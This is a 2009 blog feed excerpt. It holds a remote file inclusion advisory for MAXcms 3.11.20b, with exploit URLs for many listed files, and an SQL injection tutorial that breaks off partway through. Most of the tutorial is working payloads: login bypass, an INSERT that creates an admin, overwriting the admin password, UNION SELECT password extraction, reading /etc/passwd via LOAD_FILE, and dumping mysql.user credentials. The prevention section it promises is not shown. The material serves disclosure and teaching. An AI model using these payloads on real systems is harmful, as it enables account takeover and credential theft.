src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-1157275205868359135</id><published>2009-08-08T01:26:00.001-07:00</published><updated>2009-08-26T19:34:06.068-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>MAXcms - Databay Content Management System 3.11.20b Multiple RFI Vuln</title><content type='html'>[o] MAXcms - Databay Content Management System 3.11.20b Multiple Remote File Inclusion Vulnerability&lt;br /&gt;Software : MAXcms - Databay Content Management System version 3.11.20b&lt;br /&gt;Vendor   : http://www.databay.de&lt;br /&gt;Download : http://downloads.sourceforge.net/micro-cms/microcms.zip&lt;br /&gt;Author   : NoGe&lt;br /&gt;&lt;br /&gt;[o] Vulnerable file&lt;br /&gt;is_projectPath parameter&lt;br /&gt;includes/InstantSite/inc.is_root.php&lt;br /&gt;&lt;br /&gt;GLOBALS[thCMS_root] parameter&lt;br /&gt;classes/class.Tree.php&lt;br /&gt;includes/inc.thcms_admin_mediamanager.php&lt;br /&gt;modul/mod.rssreader.php&lt;br /&gt;&lt;br /&gt;is_path parameter&lt;br /&gt;classes/class.tasklist.php&lt;br /&gt;classes/class.thcms.php&lt;br /&gt;classes/class.thcms_content.php&lt;br /&gt;classes/class.thcms_modul_parent.php&lt;br /&gt;classes/class.thcms_page.php&lt;br /&gt;classes/class.thcsm_user.php&lt;br /&gt;includes/InstantSite/class.Tree.php&lt;br /&gt;&lt;br /&gt;thCMS_root parameter&lt;br /&gt;classes/class.thcms_modul.php&lt;br /&gt;includes/inc.page_edit_tasklist.php&lt;br /&gt;includes/inc.thcms_admin_overview_backup.php&lt;br /&gt;includes/inc.thcms_edit_content.php&lt;br /&gt;modul/class.thcms_modul_parent_xml.php&lt;br /&gt;modul/mod.cmstranslator.php&lt;br /&gt;modul/mod.download.php&lt;br /&gt;modul/mod.faq.php&lt;br /&gt;modul/mod.guestbook.php&lt;br /&gt;modul/mod.html.php&lt;br /&gt;modul/mod.menu.php&lt;br /&gt;modul/mod.news.php&lt;br /&gt;modul/mod.newsticker.php&lt;br /&gt;modul/mod.rss.php&lt;br /&gt;modul/mod.search.php&lt;br /&gt;modul/mod.sendtofriend.php&lt;br /&gt;modul/mod.sitemap.php&lt;br /&gt;modul/mod.tagdoc.php&lt;br /&gt;modul/mod.template.php&lt;br /&gt;modul/mod.test.php&lt;br /&gt;modul/mod.text.php&lt;br /&gt;modul/mod.upload.php&lt;br /&gt;modul/mod.users.php&lt;br /&gt;&lt;br /&gt;[o] Exploit&lt;br /&gt;http://localhost/[path]/includes/InstantSite/inc.is_root.php?is_projectPath=[evilc0de]&lt;br /&gt;http://localhost/[path]/classes/class.Tree.php?GLOBALS[thCMS_root]=[evilc0de]&lt;br /&gt;http://localhost/[path]/classes/class.thcsm_user.php?is_path=[evilc0de]&lt;br /&gt;http://localhost/[path]/modul/mod.users.php?thCMS_root=[evilc0de]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-1157275205868359135?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/1157275205868359135/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/maxcms-databay-content-management.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1157275205868359135'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1157275205868359135'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/08/maxcms-databay-content-management.html' title='MAXcms - Databay Content Management System 3.11.20b Multiple RFI Vuln'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-4132046750177159793</id><published>2009-08-05T22:33:00.000-07:00</published><updated>2009-08-26T19:30:21.216-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>MySQL: Secure Web Apps - SQL Injection techniques</title><content type='html'>-[ SUMMARY ]---------------------------------------------------------------------&lt;br /&gt;     0x01: Introduction&lt;br /&gt;     0x02: Injecting SQL&lt;br /&gt;     0x03: Exploiting a Login Form&lt;br /&gt;     0x04: Exploiting Different SQL Statement Type&lt;br /&gt;     0x05: Basic Victim Fingerprinting&lt;br /&gt;     0x06: Standard Blind SQL Injection    &lt;br /&gt;     0x07: Double Query&lt;br /&gt;     0x08: Filters Evasion&lt;br /&gt;     0x09: SQL Injection Prevention&lt;br /&gt;     0x10: Conclusion&lt;br /&gt;---------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---[ 0x01: Introduction ]&lt;br /&gt;&lt;br /&gt;Hi everybody! I'm here again to write a little, but I hope interesting, paper concerning&lt;br /&gt;Web Application Security. The aim of these lines are to help you to understand security&lt;br /&gt;flaws regarding SQL Injection.&lt;br /&gt;&lt;br /&gt;I know that maybe lots of things here explained are a little bit old; but lots of people&lt;br /&gt;asked to me by email how to find/to prevent SQL Injection flaws in their codes.&lt;br /&gt;&lt;br /&gt;Yes, we could say that this is the second part of my first paper regarding PHP flaws&lt;br /&gt;(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection&lt;br /&gt;(The reason? The focus was on an other principal theme).&lt;br /&gt;&lt;br /&gt;How I wrote this paper? In my free time, a couple of lines to help people to find, prevent &lt;br /&gt;this kind of attacks. I hope you enjoy it. For any question or whatever please&lt;br /&gt;contact me here: omni_0 [at] yahoo [DOT] com .&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x02: Injecting SQL ]&lt;br /&gt;&lt;br /&gt;As you know almost every dynamic web applications use a database (here we talk &lt;br /&gt;about web application based on "LAMP architecture") to store any kind of data needed&lt;br /&gt;by the application such as images path, texts, user accounts, personal information,&lt;br /&gt;goods in stock, etc.&lt;br /&gt;&lt;br /&gt;The web application access to those information by using the SQL (Structured Query&lt;br /&gt;Language). This kind of applications construct one or more SQL Statement to query&lt;br /&gt;the DataBase (and for example to retrieve data); but this query sometimes incorporporate&lt;br /&gt;user-supplied data. (take in mind this)&lt;br /&gt;&lt;br /&gt;What about SQL? SQL is a DML (Data Manipulation Language) that is used&lt;br /&gt;to insert, retrive and modify records present in the DataBase.&lt;br /&gt;&lt;br /&gt;As I said before web application uses user-supplied data to query the DB but if the&lt;br /&gt;supplied data is not properly sanitized before being used this can be unsafe and&lt;br /&gt;an attacker can INJECT HIS OWN SQL code.&lt;br /&gt;These flaws can be very destructive because an attacker can:&lt;br /&gt;&lt;br /&gt;- Inject his data&lt;br /&gt;- Retrive information about users, CC, DBMS.. (make a kind of information gathering)&lt;br /&gt;- and so on..&lt;br /&gt;&lt;br /&gt;The fundamentals of SQL Injection are similar to lots of DBMS but, as you know&lt;br /&gt;there are some differences, in this paper I will cover "Exploting SQL Injection &lt;br /&gt;in MySQL DBMS" as said upon (this means that if you want to test techniques here &lt;br /&gt;explained on others DBMS you need to try at your own).&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x03: Exploiting a Login Form ]&lt;br /&gt;&lt;br /&gt;Sometimes happends that coders doesn't properly sanitize 2 important variables&lt;br /&gt;such as user-name and password in the login form and this involve a critical&lt;br /&gt;vulnerability that will allow to the attacker the access to a reserved area.&lt;br /&gt;&lt;br /&gt;Let's make an example query here below:&lt;br /&gt;&lt;br /&gt;SELECT * FROM users WHERE username = 'admin' and password = 'secret'&lt;br /&gt;&lt;br /&gt;With this query the admin supply the username 'admin' and the password 'secret'&lt;br /&gt;if those are true, the admin will login into the application. &lt;br /&gt;Let us suppose that the script is vulnerabile to sql injection; what happends&lt;br /&gt;if we know the admin username (in this case 'admin')? We don't know the password, but&lt;br /&gt;can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.&lt;br /&gt;In this way:&lt;br /&gt;&lt;br /&gt;SELECT * FROM users WHERE username = 'admin' /*' and password = 'foobar'&lt;br /&gt;&lt;br /&gt;So, we supplied this information:&lt;br /&gt;&lt;br /&gt;- As username = admin' /*&lt;br /&gt;- As password = foobar (what we want..)&lt;br /&gt;&lt;br /&gt;Yes, the query will be true because admin is the right username but then with the&lt;br /&gt;' /* ' symbol we commented the left SQL Statement.&lt;br /&gt;&lt;br /&gt;Here below a funny (but true) example:&lt;br /&gt;&lt;br /&gt;$sql = "SELECT permissions, username FROM $prefix"."auth WHERE &lt;br /&gt;username = '" . $_POST['username'] . "' AND password = MD5('".$_POST['wordpass']."');";&lt;br /&gt;&lt;br /&gt; $query = mysql_query($sql, $conn);&lt;br /&gt;&lt;br /&gt;The variables passed with the POST method are not properly sanitized before being used&lt;br /&gt;and an attacker can inject sql code to gain access to the application.&lt;br /&gt;This is a simple attack but it has a very critical impact.&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x04: Exploiting Different SQL Statement Type ]&lt;br /&gt;&lt;br /&gt;SQL Language uses different type of statements that could help the programmer to&lt;br /&gt;make different queries to the DataBase; for example a SELECTion of record,&lt;br /&gt;UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can&lt;br /&gt;"hack the query" in multiple ways; here below some examples.&lt;br /&gt;&lt;br /&gt;SELECT Statement&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;SELECT Statement is used to retrieve information from the database; and is&lt;br /&gt;frequentely used "in every" application that returns information in response&lt;br /&gt;to a user query. For example SELECT is used for login forms, browsing catalog, viewing&lt;br /&gt;users infos, user profiles, in search engines, etc. The "point of failure" is&lt;br /&gt;often the WHERE clause where exactly the users put their supplied arguments.&lt;br /&gt;&lt;br /&gt;But sometimes happends that the "point of failure" is in the FROM clause; this &lt;br /&gt;happends very rarely.&lt;br /&gt;&lt;br /&gt;INSERT Statement&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;INSERT statement is used to add new row in the table; and sometimes the application&lt;br /&gt;doesn't properly sanitize the data, so a query like the beneath could be vulnerable:&lt;br /&gt;&lt;br /&gt;INSERT INTO usr (user, pwd, privilege) VALUES ('new', 'pwd', 10)&lt;br /&gt;&lt;br /&gt;What happends if the pwd or username are not safe? We can absolutely "hack the&lt;br /&gt;query" and perform a new interesting query as shown below:&lt;br /&gt;&lt;br /&gt;INSERT INTO usr (user, pwd, privilege) VALUES ('hacker', 'test', 1)/*', 3)&lt;br /&gt;&lt;br /&gt;In this example the pwd field is unsafe and is used to create a new user with&lt;br /&gt;the admin privilege (privilege = 1):&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    $SQL= "INSERT INTO usr (user, pwd, id) VALUES ('new', '".$_GET['p']."', 3)";&lt;br /&gt;&lt;br /&gt;    $result = mysql_query($SQL);&lt;br /&gt;    &lt;br /&gt;    &lt;br /&gt;UPDATE Statement&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;UPDATE statement is used (as the word says) to UPDATE one or more records.&lt;br /&gt;This type of statement is used when users (logged into the application) need&lt;br /&gt;to change their own profile information; such as password, the billing address,&lt;br /&gt;etc. An example of how the UPDATE statement works is shown below:&lt;br /&gt;&lt;br /&gt;UPDATE usr SET pwd='newpwd' WHERE user = 'billyJoe' and password = 'Billy'&lt;br /&gt;&lt;br /&gt;The field pwd in the update_profile.php form is absolutely "a user-supply data"; so,&lt;br /&gt;try to imagine what happends if the code is like the (vulnerable) code pasted below:&lt;br /&gt;&lt;br /&gt;    $SQL = "UPDATE usr SET pwd='".$_GET['np']."' WHERE user = 'billyJoe' and pwd = 'Billy'";&lt;br /&gt;    $result = mysql_query($SQL);&lt;br /&gt;&lt;br /&gt;In this query the password needs to be correct (so, the user needs to know his own password :D)&lt;br /&gt;and the password will be supplied with the GET method; but leave out this detail (it's not so important&lt;br /&gt;for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that &lt;br /&gt;is not sanitized); what happeds if we will inject our code here? Let see below:&lt;br /&gt;&lt;br /&gt;UPDATE usr SET pwd='owned' WHERE user='admin'/*' WHERE user = 'ad' and pwd = 'se'&lt;br /&gt;&lt;br /&gt;here we just changed the admin password to ' owned ' :) sounds interesting right?&lt;br /&gt;&lt;br /&gt;UNION SELECT Statement&lt;br /&gt;-------------------------&lt;br /&gt;&lt;br /&gt;The "UNION SELECT Statement" is used in SQL to combine the results of 2&lt;br /&gt;or more different SELECT query; obviously in one result.&lt;br /&gt;This kind of statement is very interesting because when you have a SELECT query&lt;br /&gt;often you can add your own UNION SELECT statement to combine the queries (sure,&lt;br /&gt;only if you have a "bugged sql statement") and view the 2 (or more) results in only&lt;br /&gt;one result set. To better understand what I mean I think is better to see an interesting&lt;br /&gt;example and put our hands on it.&lt;br /&gt;&lt;br /&gt;Here is our vulnerable code:&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;$SQL = "select * from news where id=".$_GET['id'];&lt;br /&gt;&lt;br /&gt;$result = mysql_query($SQL);&lt;br /&gt;&lt;br /&gt;if (!$result) {&lt;br /&gt;    die('Invalid query: ' . mysql_error());&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Our query is TRUE&lt;br /&gt;if ($result) {&lt;br /&gt;echo '&lt;br&gt;&lt;br&gt;WELCOME TO www.victim.net NEWS&lt;br&gt;';&lt;br /&gt;while ($row = mysql_fetch_array($result, MYSQL_NUM)) {&lt;br /&gt;    &lt;br /&gt;    echo '&lt;br&gt;Title:'.$row[1].'&lt;br&gt;';&lt;br /&gt;    echo '&lt;br&gt;News:&lt;br&gt;'.$row[2];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;As we can see the $SQL variable is vulnerable and an attacker can inject his own&lt;br /&gt;code into it and then gain interesting information. What happends if via browser we&lt;br /&gt;call this URL: http://www.victim.net/CMS/view.php?id=1 ?&lt;br /&gt;&lt;br /&gt;Nothing interesting, just our news with the ID equal to 1, here below:&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;WELCOME TO www.victim.net NEWS&lt;br /&gt;&lt;br /&gt;Title:testing news&lt;br /&gt;&lt;br /&gt;News:&lt;br /&gt;what about SQL Injection?&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;How to make this interesting? :) We can use our UNION SELECT operator, and the&lt;br /&gt;resultant query will be:&lt;br /&gt;&lt;br /&gt;select * from news where id=1 UNION SELECT * FROM usr WHERE id = 1&lt;br /&gt;&lt;br /&gt;What is gonna happend? Look below:&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;WELCOME TO www.victim.net NEWS&lt;br /&gt;&lt;br /&gt;Title:testing news&lt;br /&gt;&lt;br /&gt;News:&lt;br /&gt;what about SQL Injection?&lt;br /&gt;Title:secret&lt;br /&gt;&lt;br /&gt;News:&lt;br /&gt;1&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;"Title: secret" is the admin password (ID = 1 is the admin in most cases) and the 1 in the "News:"&lt;br /&gt;is the admin ID. So, why our output is so strange? This is not strange our tables has been made&lt;br /&gt;in different ways. Just to make things clear look the tables below:&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from usr;&lt;br /&gt;-----------------------&lt;br /&gt;| user   | pwd    | id    |&lt;br /&gt;-----------------------&lt;br /&gt;| admin | secret |    1 |&lt;br /&gt;-----------------------&lt;br /&gt;| ad     | aaaaa  |    2 |&lt;br /&gt;-----------------------&lt;br /&gt;| new   | test    |    5 |&lt;br /&gt;-----------------------&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from news;&lt;br /&gt;---------------------------------------------------&lt;br /&gt;| id   | title                | texts                              |&lt;br /&gt;---------------------------------------------------&lt;br /&gt;|    1 | testing news    | what about SQL Injection? |&lt;br /&gt;---------------------------------------------------&lt;br /&gt;|    2 | testing news 2 | could be bypassed easily?  |&lt;br /&gt;---------------------------------------------------&lt;br /&gt;&lt;br /&gt;Our UNION SELECT query will be:&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from news where id = 1 union select * from usr where id = 1;&lt;br /&gt;---------------------------------------------------&lt;br /&gt;| id      | title              | texts                            |&lt;br /&gt;---------------------------------------------------&lt;br /&gt;| 1       | testing news | what about SQL Injection? |&lt;br /&gt;---------------------------------------------------&lt;br /&gt;| admin | secret          | 1                                   |&lt;br /&gt;---------------------------------------------------&lt;br /&gt;&lt;br /&gt;Is now clear? We have found the admin password. It's great!&lt;br /&gt;&lt;br /&gt;Ok, lets go deeper; what happends if we have 2 tables with a different number of&lt;br /&gt;columns? Unfortunaltely UNION SELECT doesn't work as show upon. I want to make&lt;br /&gt;2 different examples to help you.&lt;br /&gt;&lt;br /&gt;LESS FIELDS&lt;br /&gt;------------&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from Anews;&lt;br /&gt;------------------------------------------------&lt;br /&gt;| title               | texts                                  |&lt;br /&gt;------------------------------------------------&lt;br /&gt;| testing news 2 | could be bypassed easily?      |&lt;br /&gt;------------------------------------------------&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from Anews union select * from usr;&lt;br /&gt;ERROR 1222 (21000): The used SELECT statements have a different number of columns&lt;br /&gt;&lt;br /&gt;Yes, this is what happends if the UNION SELECT is used and the tables have a different&lt;br /&gt;number of columns. So, what we can do to bypass this?&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from Anews union select id, CONCAT_WS(' - ', user, pwd) from usr;&lt;br /&gt;--------------------------------------------&lt;br /&gt;| title          | texts                                  |&lt;br /&gt;--------------------------------------------&lt;br /&gt;| testing news 2 | could be bypassed easily? |&lt;br /&gt;--------------------------------------------&lt;br /&gt;| 1                   | admin - secret                | &lt;br /&gt;--------------------------------------------&lt;br /&gt;| 2                  | ad - aaaaa                      |&lt;br /&gt;--------------------------------------------&lt;br /&gt;| 5                 | new - test                       |&lt;br /&gt;--------------------------------------------&lt;br /&gt;&lt;br /&gt;We bypassed "the problem" just using a MySQL function CONCAT_WS (CONCAT can be used too).&lt;br /&gt;Take in mind that different DBMS works in different way. I'm explaining in a general manner; therefore&lt;br /&gt;sometimes you have to find other ways. :)&lt;br /&gt;&lt;br /&gt;MORE FIELDS&lt;br /&gt;-------------&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from fnews;&lt;br /&gt;--------------------------------------------------------&lt;br /&gt;| id   | pri   | title               | texts                             |&lt;br /&gt;--------------------------------------------------------&lt;br /&gt;|    1 |    0 | testing news 2 | could be bypassed easily? |&lt;br /&gt;--------------------------------------------------------&lt;br /&gt;&lt;br /&gt;What we can do now? Easy, just add a NULL field!!&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from fnews union select NULL, id, user, pwd from usr;&lt;br /&gt;---------------------------------------------------------&lt;br /&gt;| id   | pri     | title               | texts                             |&lt;br /&gt;---------------------------------------------------------&lt;br /&gt;|    1 |    0   | testing news 2 | could be bypassed easily? |&lt;br /&gt;---------------------------------------------------------&lt;br /&gt;| NULL |    1 | admin             | secre                            |&lt;br /&gt;---------------------------------------------------------&lt;br /&gt;| NULL |    2 | ad                 | aaaaa                            |&lt;br /&gt;---------------------------------------------------------&lt;br /&gt;| NULL |    5 | new               | test                              |&lt;br /&gt;---------------------------------------------------------&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x05: Basic Victim Fingerprinting ]&lt;br /&gt;&lt;br /&gt;In this part of the paper I'll explain some easy, but interesting, ways used while trying to do&lt;br /&gt;information gathering before the Vulnerability Assessment and Penetration Test steps.&lt;br /&gt;&lt;br /&gt;This is our scenario: we found a bugged Web Application on the host and we can inject our &lt;br /&gt;SQL code.&lt;br /&gt;&lt;br /&gt;So, what we need to know? Could be interesting to know the mysql server version; &lt;br /&gt;maybe it's a bugged version and we can exploit it.&lt;br /&gt;&lt;br /&gt;How to do that? (I will not use bugged code; I'll just make some examples. Use your&lt;br /&gt;mind to understand how to use "these tips")&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from fnews WHERE id = 1 union select version(), NULL, NULL, NULL from usr;&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;| id                               | pri     | title                | texts                            |&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;| 1                                |    0   | testing news 2 | could be bypassed easily? |&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;| 5.0.22-Debian               | NULL | NULL              | NULL                             |&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Here our mysql version. Also the OS has been putted on the screen :) (take in mind that &lt;br /&gt;sometimes these information are modified).&lt;br /&gt;&lt;br /&gt;Could be interesting to know the server time:&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from fnews WHERE id = 1 union select NOW(), NULL, NULL, NULL from usr;&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;| id                           | pri     | title               | texts                              |&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;| 1                            |    0   | testing news 2 | could be bypassed easily?  |&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;| 2009-02-27 00:03:56 | NULL | NULL              | NULL                              |&lt;br /&gt;---------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Yes, sometimes is useful to know what is the user used to connect to the database.&lt;br /&gt;&lt;br /&gt;mysql&gt; select * from fnews WHERE id = 1 union select USER(), NULL, NULL, NULL from usr;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;| id                  | pri     | title               | texts                             |&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;| 1                   |    0   | testing news 2 | could be bypassed easily? |&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;| omni@localhost | NULL | NULL              | NULL                             |&lt;br /&gt;--------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;An interesting function implemented in mysql server is LOAD_FILE that, as the &lt;br /&gt;word say, is able to load a file. What we can do with this? gain information and&lt;br /&gt;read files. Here below the query used as example:&lt;br /&gt;&lt;br /&gt;select * from news where id=1 union select NULL,NULL,LOAD_FILE('/etc/passwd') from usr;&lt;br /&gt;&lt;br /&gt;This is what my FireFox shows to me:&lt;br /&gt;&lt;br /&gt;http://www.victim.net/CMS/view.php?id=1%20union%20select%20NULL,NULL,LOAD_FILE('/etc/password')%20from%20usr;&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;WELCOME TO www.victim.net NEWS&lt;br /&gt;&lt;br /&gt;Title:testing news&lt;br /&gt;&lt;br /&gt;News:&lt;br /&gt;what about SQL Injection?&lt;br /&gt;Title:&lt;br /&gt;&lt;br /&gt;News:&lt;br /&gt;root:x:0:0:root:/root:/bin/bash&lt;br /&gt;daemon:x:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;bin:x:2:2:bin:/bin:/bin/sh &lt;br /&gt;sys:x:3:3:sys:/dev:/bin/sh &lt;br /&gt;[...]&lt;br /&gt;[output cutted]&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;Sounds interesting right, don't you?&lt;br /&gt;&lt;br /&gt;Could be interesting to get some sensitive information such as mysql users and passwords&lt;br /&gt;right? By injecting our code as shown below we can get such that information.&lt;br /&gt;&lt;br /&gt;SELECT * FROM news WHERE id='1' UNION SELECT Host, User, Password FROM mysql.user/*'&lt;br /&gt;-------------------------------------------------------------------------------[/] &lt;br /&gt;&lt;br /&gt;---[ 0x06: Standard Blind SQL Injection ]&lt;br /&gt;&lt;br /&gt;SQL Injection and Blind SQL Injection are attacks that are able to exploit a software&lt;br /&gt;vulnerability by injecting sql codes; but the main difference between these attacks&lt;br /&gt;is the method of determination of the vulnerability.&lt;br /&gt;&lt;br /&gt;Yes, because in the Blind SQL Injection attacks, attacker will look the results &lt;br /&gt;of his/her requests (with different parameter values) and if these results will return &lt;br /&gt;the same information he/she could obtain some interesting data. (I know, it seems&lt;br /&gt;a bit strange; but between few lines you will understand better).&lt;br /&gt;&lt;br /&gt;But why Standard Blind SQL Injection? What does it mean? In this part of the paper&lt;br /&gt;I'll explain the basic way to obtain information with Blind SQL Injection without bear&lt;br /&gt;in mind that this type of attacks could be optimized. I don't wanna talk about the &lt;br /&gt;methods to optimize a Blind SQL Injection attack.(Wisec found interesting things about that - &lt;br /&gt;"Optimizing the number of requests in blind SQL injection").&lt;br /&gt;&lt;br /&gt;Ok, let's make a step forward and begin talking about Detection of Blind SQL Injection.&lt;br /&gt;To test this vulnerability we have to find a condition that is always true; for example&lt;br /&gt;1=1 is always TRUE right? Yes, but when we have to inject our code in the WHERE&lt;br /&gt;condition we don't know if our new injected query will be true or false; therefore &lt;br /&gt;we have to make some tests. When the query is true? The query is true when the record&lt;br /&gt;returned contain the correct information. Maybe is a little bit strange this explanation but&lt;br /&gt;to make things clear I wanna let you see an example. Suppose that we requested this&lt;br /&gt;URL:&lt;br /&gt;&lt;br /&gt;http://www.victim.net/CMS/view.php?id=1&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;WELCOME TO www.victim.net NEWS&lt;br /&gt;&lt;br /&gt;Title:testing news&lt;br /&gt;&lt;br /&gt;News:&lt;br /&gt;what about SQL Injection?&lt;br /&gt;&lt;br /&gt;-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/&lt;br /&gt;&lt;br /&gt;As you can see we have just viewed our first news (id=1). What happends if we request&lt;br /&gt;this other URL: http://www.victim.net/CMS/view.php?id=1 AND 1=1 ?&lt;br /&gt;In our browser we just see the same page because the query is obviously true.&lt;br /&gt;Here below the injected query:&lt;br /&gt;&lt;br /&gt;SELECT * FROM news WHERE id=1 AND 1=1 LIMIT 1&lt;br /&gt;&lt;br /&gt;Now, we (I hope)  have understood what is a Blind SQL Injection; and to understand&lt;br /&gt;better how we can use this, I want to make a simple example/scenario. I'm thinking that&lt;br /&gt;the web application is connected to MySQL using the user omni; how to know this by using&lt;br /&gt;Blind SQL Injection? Just requesting this URL:&lt;br /&gt;&lt;br /&gt;http://www.victim.net/CMS/view.php?id=1 AND USER()=omni@localhost'&lt;br /&gt;&lt;br /&gt;and watch the reply sent on our browser. If in our FireFox (or whatever you want)&lt;br /&gt;we will see the news with ID=1 we know that omni is the user used to connect to&lt;br /&gt;the mysql deamon (because the query is true; and we found the true value to pass&lt;br /&gt;to the query).&lt;br /&gt;Let's go deeper. What we can do with Blind SQL? Could be interesting to retrieve&lt;br /&gt;the admin password. How to do that? First of all to understand better the&lt;br /&gt;steps I'm going to explain we need to know some basic information.&lt;br /&gt;&lt;br /&gt;Function used in MySQL:&lt;br /&gt;&lt;br /&gt;- ASCII(str)&lt;br /&gt;Returns the numeric value of the leftmost character of the string str. &lt;br /&gt;Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII() &lt;br /&gt;works for 8-bit characters.&lt;br /&gt;&lt;br /&gt;mysql&gt; select ascii('a');&lt;br /&gt;-----------&lt;br /&gt;| ascii('A') |&lt;br /&gt;-----------&lt;br /&gt;|         97 |&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;mysql&gt; select ascii('b');&lt;br /&gt;-----------&lt;br /&gt;| ascii('b') |&lt;br /&gt;-----------&lt;br /&gt;|         98 |&lt;br /&gt;-----------&lt;br /&gt;&lt;br /&gt;- ORD(str)&lt;br /&gt;&lt;br /&gt; If the leftmost character of the string str is a multi-byte character, returns &lt;br /&gt; the code for that character, calculated from the numeric values of its constituent &lt;br /&gt; bytes using this formula:&lt;br /&gt;&lt;br /&gt;  (1st byte code)&lt;br /&gt;+ (2nd byte code x 256)&lt;br /&gt;+ (3rd byte code x 2562) ...&lt;br /&gt;&lt;br /&gt;If the leftmost character is not a multi-byte character, ORD() returns the same value as &lt;br /&gt;the ASCII() function. &lt;br /&gt;&lt;br /&gt;- SUBSTRING(str,pos), SUBSTRING(str  FROM pos), &lt;br /&gt;  SUBSTRING(str,pos,len), SUBSTRING(str  FROM pos FOR len)&lt;br /&gt;&lt;br /&gt;The forms without a len argument return a substring from string str starting at position pos. &lt;br /&gt;The forms with a len argument return a substring len characters long from string str, starting &lt;br /&gt;at position pos. &lt;br /&gt;The forms that use FROM are standard SQL syntax. It is also possible to use a negative value &lt;br /&gt;for pos. In this case, the beginning of the substring is pos characters from the end of the &lt;br /&gt;string, rather than the beginning. &lt;br /&gt;A negative value may be used for pos in any of the forms of this function. &lt;br 